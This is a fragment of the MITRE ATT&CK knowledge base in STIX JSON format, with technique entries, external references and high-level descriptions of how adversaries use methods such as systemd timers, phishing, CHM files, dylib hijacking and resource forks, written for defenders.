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            "id": "attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21",
            "created": "2020-10-12T17:50:31.584Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1053/006",
                    "external_id": "T1053.006"
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                {
                    "source_name": "Systemd Remote Control",
                    "description": "Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021.",
                    "url": "https://www.tecmint.com/control-systemd-services-on-remote-linux-server/"
                },
                {
                    "source_name": "archlinux Systemd Timers Aug 2020",
                    "description": "archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020.",
                    "url": "https://wiki.archlinux.org/index.php/Systemd/Timers"
                },
                {
                    "source_name": "gist Arch package compromise 10JUL2018",
                    "description": "Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.",
                    "url": "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a"
                },
                {
                    "source_name": "Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018",
                    "description": "Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.",
                    "url": "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/"
                },
                {
                    "source_name": "acroread package compromised Arch Linux Mail 8JUL2018",
                    "description": "Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.",
                    "url": "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html"
                },
                {
                    "source_name": "Falcon Sandbox smp: 28553b3a9d",
                    "description": "Hybrid Analysis. (2018, July 11). HybridAnalsysis of sample 28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7. Retrieved September 8, 2023.",
                    "url": "https://www.hybrid-analysis.com/sample/28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7?environmentId=300"
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                    "source_name": "Linux man-pages: systemd January 2014",
                    "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.",
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            "description": "Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the <code>systemctl</code> command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>. <code>.service</code> files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d)",
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                    "source_name": "phishing-krebs",
                    "description": "Brian Krebs. (2024, March 28). Thread Hijacking: Phishes That Prey on Your Curiosity. Retrieved September 27, 2024.",
                    "url": "https://krebsonsecurity.com/2024/03/thread-hijacking-phishes-that-prey-on-your-curiosity/"
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                    "source_name": "CISA Remote Monitoring and Management Software",
                    "description": "CISA. (n.d.). Protecting Against Malicious Use of Remote Monitoring and Management Software. Retrieved February 2, 2023.",
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                    "description": "Itkin, Liora. (2022, September 1). Double-bounced attacks with email spoofing . Retrieved February 24, 2023.",
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                    "source_name": "Unit42 Luna Moth",
                    "description": "Kristopher Russo. (n.d.). Luna Moth Callback Phishing Campaign. Retrieved February 2, 2023.",
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                    "source_name": "Microsoft OAuth Spam 2022",
                    "description": "Microsoft. (2023, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 13, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/"
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                    "source_name": "sygnia Luna Month",
                    "description": "Oren Biderman, Tomer Lahiyani, Noam Lifshitz, Ori Porag. (n.d.). LUNA MOTH: THE THREAT ACTORS BEHIND RECENT FALSE SUBSCRIPTION SCAMS. Retrieved February 2, 2023.",
                    "url": "https://blog.sygnia.co/luna-moth-false-subscription-scams"
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                    "source_name": "Proofpoint-spoof",
                    "description": "Proofpoint. (n.d.). What Is Email Spoofing?. Retrieved February 24, 2023.",
                    "url": "https://www.proofpoint.com/us/threat-reference/email-spoofing"
                },
                {
                    "source_name": "Palo Alto Unit 42 VBA Infostealer 2014",
                    "description": "Vicky Ray and Rob Downs. (2014, October 29). Examining a VBA-Initiated Infostealer Campaign. Retrieved March 13, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/"
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            "description": "Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by [Email Spoofing](https://attack.mitre.org/techniques/T1684/002)(Citation: Proofpoint-spoof) the identity of the sender, which can be used to fool both the human recipient as well as automated security tools,(Citation: cyberproof-double-bounce) or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\").(Citation: phishing-krebs)\n\nVictims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: Unit42 Luna Moth)",
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                    "source_name": "Wikipedia Run Command",
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            "name": "Graphical User Interface",
            "description": "**This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.**\n\nThe Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.",
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                    "source_name": "Cisco Synful Knock Evolution",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
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                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
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                    "external_id": "T1218.001"
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                {
                    "source_name": "Microsoft CVE-2017-8625 Aug 2017",
                    "description": "Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.",
                    "url": "https://web.archive.org/web/20250419140549/https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2017-8625"
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                    "description": "Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.",
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                    "source_name": "Microsoft HTML Help Executable Program",
                    "description": "Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.",
                    "url": "https://msdn.microsoft.com/windows/desktop/ms524405"
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                {
                    "source_name": "Microsoft HTML Help ActiveX",
                    "description": "Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.",
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                {
                    "source_name": "MsitPros CHM Aug 2017",
                    "description": "Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM \u2013 CVE-2017-8625. Retrieved October 3, 2018.",
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            "description": "Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)",
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                    "url": "https://attack.mitre.org/techniques/T1496/001",
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                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"
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                {
                    "source_name": "CloudSploit - Unused AWS Regions",
                    "description": "CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.",
                    "url": "https://medium.com/cloudsploit/the-danger-of-unused-aws-regions-af0bf1b878fc"
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                {
                    "source_name": "Kaspersky Lazarus Under The Hood Blog 2017",
                    "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.",
                    "url": "https://securelist.com/lazarus-under-the-hood/77908/"
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                {
                    "source_name": "Trend Micro Exposed Docker APIs",
                    "description": "Oliveira, A. (2019, May 30). Infected Containers Target Docker via Exposed APIs. Retrieved April 6, 2021.",
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                    "source_name": "Trend Micro War of Crypto Miners",
                    "description": "Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency Miners: A Battle for Resources. Retrieved April 6, 2021.",
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                    "source_name": "Technet Net Use",
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                    "url": "https://attack.mitre.org/techniques/T1090/003",
                    "external_id": "T1090.003"
                },
                {
                    "source_name": "ORB Mandiant",
                    "description": "Raggi, Michael. (2024, May 22). IOC Extinction? China-Nexus Cyber Espionage Actors Use ORB Networks to Raise Cost on Defenders. Retrieved July 8, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks"
                },
                {
                    "source_name": "NGLite Trojan",
                    "description": "Robert Falcone, Jeff White, and Peter Renals. (2021, November 7). Targeted Attack Campaign Against ManageEngine ADSelfService Plus Delivers Godzilla Webshells, NGLite Trojan and KdcSponge Stealer. Retrieved February 8, 2024.",
                    "url": "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/"
                },
                {
                    "source_name": "Onion Routing",
                    "description": "Wikipedia. (n.d.). Onion Routing. Retrieved October 20, 2020.",
                    "url": "https://en.wikipedia.org/wiki/Onion_routing"
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            "name": "Multi-hop Proxy",
            "description": "Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.\n\nFor example, adversaries may construct or use onion routing networks \u2013 such as the publicly available [Tor](https://attack.mitre.org/software/S0183) network \u2013 to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network.(Citation: Onion Routing) Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations.(Citation: ORB Mandiant) \n\nIn the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., [Network Devices](https://attack.mitre.org/techniques/T1584/008)). By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001) on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization\u2019s Wide-Area Network (WAN).  Protocols such as ICMP may be used as a transport.  \n\nSimilarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.(Citation: NGLite Trojan)",
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                    "url": "https://attack.mitre.org/techniques/T1110",
                    "external_id": "T1110"
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                {
                    "source_name": "TrendMicro Pawn Storm Dec 2020",
                    "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021.",
                    "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html"
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                {
                    "source_name": "ReliaQuest Health Care Social Engineering Campaign 2024",
                    "description": "Hayden Evans. (2024, April 4). Health Care Social Engineering Campaign. Retrieved May 22, 2025.",
                    "url": "https://www.reliaquest.com/blog/health-care-social-engineering-campaign/"
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                {
                    "source_name": "Dragos Crashoverride 2018",
                    "description": "Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.",
                    "url": "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"
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            "name": "Brute Force",
            "description": "Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\n\nBrute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access. \n\nIf an adversary guesses the correct password but fails to login to a compromised account due to location-based conditional access policies, they may change their infrastructure until they match the victim\u2019s location and therefore bypass those policies.(Citation: ReliaQuest Health Care Social Engineering Campaign 2024)",
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                    "external_id": "T1059.004"
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                    "source_name": "Apple ZShell",
                    "description": "Apple. (2020, January 28). Use zsh as the default shell on your Mac. Retrieved June 12, 2020.",
                    "url": "https://support.apple.com/HT208050"
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                    "source_name": "DieNet Bash",
                    "description": "die.net. (n.d.). bash(1) - Linux man page. Retrieved June 12, 2020.",
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            "created": "2019-11-07T20:06:02.624Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1137/003",
                    "external_id": "T1137.003"
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                {
                    "source_name": "Microsoft Detect Outlook Forms",
                    "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.",
                    "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"
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                {
                    "source_name": "SensePost NotRuler",
                    "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.",
                    "url": "https://github.com/sensepost/notruler"
                },
                {
                    "source_name": "SensePost Outlook Forms",
                    "description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019.",
                    "url": "https://sensepost.com/blog/2017/outlook-forms-and-shells/"
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            "description": "Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOnce malicious forms have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)",
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                    "source_name": "Google Cloud Threat Intelligence DPRK IT Workers 2024",
                    "description": "Codi Starks, Michael Barnhart, Taylor Long, Mike Lombardi, Joseph Pisano, and Alice Revelli. (2024, September 23). Staying a Step Ahead: Mitigating the DPRK IT Worker Threat. Retrieved March 26, 2025.",
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                {
                    "source_name": "Palo Alto Unit 42 North Korean IT Workers 2024",
                    "description": "Evan Gordenker. (2024, November 13). Global Companies Are Unknowingly Paying North Koreans: Here\u2019s How to Catch Them. Retrieved March 26, 2025.",
                    "url": "https://unit42.paloaltonetworks.com/north-korean-it-workers/"
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                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/471.html",
                    "external_id": "CAPEC-471"
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                {
                    "source_name": "Writing Bad Malware for OSX",
                    "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
                    "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf"
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                {
                    "source_name": "Malware Persistence on OS X",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
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            "description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\n\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.",
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                    "external_id": "T1562.001"
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                {
                    "source_name": "Analysis of FG-IR-22-369",
                    "description": " Guillaume Lovet and Alex Kong. (2023, March 9). Analysis of FG-IR-22-369. Retrieved May 15, 2023.",
                    "url": "https://www.fortinet.com/blog/psirt-blogs/fg-ir-22-369-psirt-analysis"
                },
                {
                    "source_name": "Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation",
                    "description": "ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem"
                },
                {
                    "source_name": "BlackBerry WhisperGate 2022",
                    "description": "BlackBerry Research and Intelligence Team. (2022, February 3). Threat Spotlight: WhisperGate Wiper Wreaks Havoc in Ukraine. Retrieved March 18, 2025.",
                    "url": "https://blogs.blackberry.com/en/2022/02/threat-spotlight-whispergate-wiper-wreaks-havoc-in-ukraine"
                },
                {
                    "source_name": "Cocomazzi FIN7 Reboot",
                    "description": "Cocomazzi, Antonio. (2024, July 17). FIN7 Reboot | Cybercrime Gang Enhances Ops with New EDR Bypasses and Automated Attacks. Retrieved September 24, 2025.",
                    "url": "https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/"
                },
                {
                    "source_name": "OutFlank System Calls",
                    "description": "de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.",
                    "url": "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/"
                },
                {
                    "source_name": "disable_win_evt_logging",
                    "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.",
                    "url": "https://ptylu.github.io/content/report/report.html?report=25"
                },
                {
                    "source_name": "chasing_avaddon_ransomware",
                    "description": "Hernandez, A. S. Tarter, P. Ocamp, E. J. (2022, January 19). One Source to Rule Them All: Chasing AVADDON Ransomware. Retrieved January 26, 2022.",
                    "url": "https://www.mandiant.com/resources/chasing-avaddon-ransomware"
                },
                {
                    "source_name": "doppelpaymer_crowdstrike",
                    "description": "Hurley, S. (2021, December 7). Critical Hit: How DoppelPaymer Hunts and Kills Windows Processes. Retrieved January 26, 2022.",
                    "url": "https://www.crowdstrike.com/blog/how-doppelpaymer-hunts-and-kills-windows-processes/"
                },
                {
                    "source_name": "avoslocker_ransomware",
                    "description": "Lakshmanan, R. (2022, May 2). AvosLocker Ransomware Variant Using New Trick to Disable Antivirus Protection. Retrieved May 17, 2022.",
                    "url": "https://thehackernews.com/2022/05/avoslocker-ransomware-variant-using-new.html"
                },
                {
                    "source_name": "dharma_ransomware",
                    "description": "Loui, E. Scheuerman, K. et al. (2020, April 16). Targeted Dharma Ransomware Intrusions Exhibit Consistent Techniques. Retrieved January 26, 2022.",
                    "url": "https://www.crowdstrike.com/blog/targeted-dharma-ransomware-intrusions-exhibit-consistent-techniques/"
                },
                {
                    "source_name": "MDSec System Calls",
                    "description": "MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.",
                    "url": "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/"
                },
                {
                    "source_name": "SCADAfence_ransomware",
                    "description": "Shaked, O. (2020, January 20). Anatomy of a Targeted Ransomware Attack. Retrieved June 18, 2022.",
                    "url": "https://cdn.logic-control.com/docs/scadafence/Anatomy-Of-A-Targeted-Ransomware-Attack-WP.pdf"
                },
                {
                    "source_name": "demystifying_ryuk",
                    "description": "Tran, T. (2020, November 24). Demystifying Ransomware Attacks Against Microsoft Defender Solution. Retrieved January 26, 2022.",
                    "url": "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/demystifying-ransomware-attacks-against-microsoft-defender/ba-p/1928947"
                },
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                    "source_name": "Google Cloud Threat Intelligence FIN13 2021",
                    "description": "Van Ta, Jake Nicastro, Rufus Brown, and Nick Richard. (2021, December 7). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved March 18, 2025.",
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                    "description": "Global Research and Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 5, 2024.",
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                    "description": "Lua. (2024, June 25). Getting started. Retrieved August 5, 2024.",
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                    "description": "Lua. (n.d.). lua_State. Retrieved August 5, 2024.",
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                    "description": "Marschalek, Marion. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved August 5, 2024.",
                    "url": "https://web.archive.org/web/20150311013500/http:/www.cyphort.com/evilbunny-malware-instrumented-lua/"
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                    "source_name": "PoetRat Lua",
                    "description": "Mercer, Warren. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves. Retrieved August 5, 2024.",
                    "url": "https://blog.talosintelligence.com/poetrat-update/"
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                    "source_name": "Lua Proofpoint Sunseed",
                    "description": "Raggi, Michael. Cass, Zydeca. The Proofpoint Threat Research Team.. (2022, March 1). Asylum Ambuscade: State Actor Uses Lua-based Sunseed Malware to Target European Governments and Refugee Movement. Retrieved August 5, 2024.",
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                    "description": "Piper, S.. (2018, September 24). Investigating Malicious AMIs. Retrieved March 30, 2021.",
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                    "description": "Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.",
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                {
                    "source_name": "volexity_0day_sophos_FW",
                    "description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.",
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                    "source_name": "CISA MFA PrintNightmare",
                    "description": "Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability. Retrieved March 16, 2022.",
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                    "url": "https://attack.mitre.org/techniques/T1073",
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                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/641.html",
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                    "description": "Microsoft. (n.d.). Manifests. Retrieved June 3, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/aa375365"
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                    "source_name": "Stewart 2014",
                    "description": "Stewart, A. (2014). DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry. Retrieved November 12, 2014.",
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                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
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                    "source_name": "Leitch Hollowing",
                    "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved September 12, 2024.",
                    "url": "https://new.dc414.org/wp-content/uploads/2011/01/Process-Hollowing.pdf"
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            "created": "2017-05-31T21:30:55.066Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1068",
                    "external_id": "T1068"
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                {
                    "source_name": "ESET InvisiMole June 2020",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
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                {
                    "source_name": "Microsoft Driver Block Rules",
                    "description": "Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
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                {
                    "source_name": "Unit42 AcidBox June 2020",
                    "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.",
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            "description": "Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.\n\nAdversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).",
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                    "url": "https://attack.mitre.org/techniques/T1564/009",
                    "external_id": "T1564.009"
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                {
                    "source_name": "tau bundlore erika noerenberg 2020",
                    "description": "Erika Noerenberg. (2020, June 29). TAU Threat Analysis: Bundlore (macOS) mm-install-macos. Retrieved October 12, 2021.",
                    "url": "https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html"
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                    "source_name": "Resource and Data Forks",
                    "description": "Flylib. (n.d.). Identifying Resource and Data Forks. Retrieved October 12, 2021.",
                    "url": "https://flylib.com/books/en/4.395.1.192/1/"
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                    "source_name": "ELC Extended Attributes",
                    "description": "Howard Oakley. (2020, October 24). There's more to files than data: Extended Attributes. Retrieved October 12, 2021.",
                    "url": "https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/"
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                    "source_name": "sentinellabs resource named fork 2020",
                    "description": "Phil Stokes. (2020, November 5). Resourceful macOS Malware Hides in Named Fork. Retrieved October 12, 2021.",
                    "url": "https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/"
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                {
                    "source_name": "macOS Hierarchical File System Overview",
                    "description": "Tenon. (n.d.). Retrieved October 12, 2021.",
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            "name": "Resource Forking",
            "description": "Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file\u2019s extended attributes, using <code>ls -l@</code> or <code>xattr -l</code> commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the <code>/Resources</code> folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)\n\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)",
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            "x_mitre_contributors": [
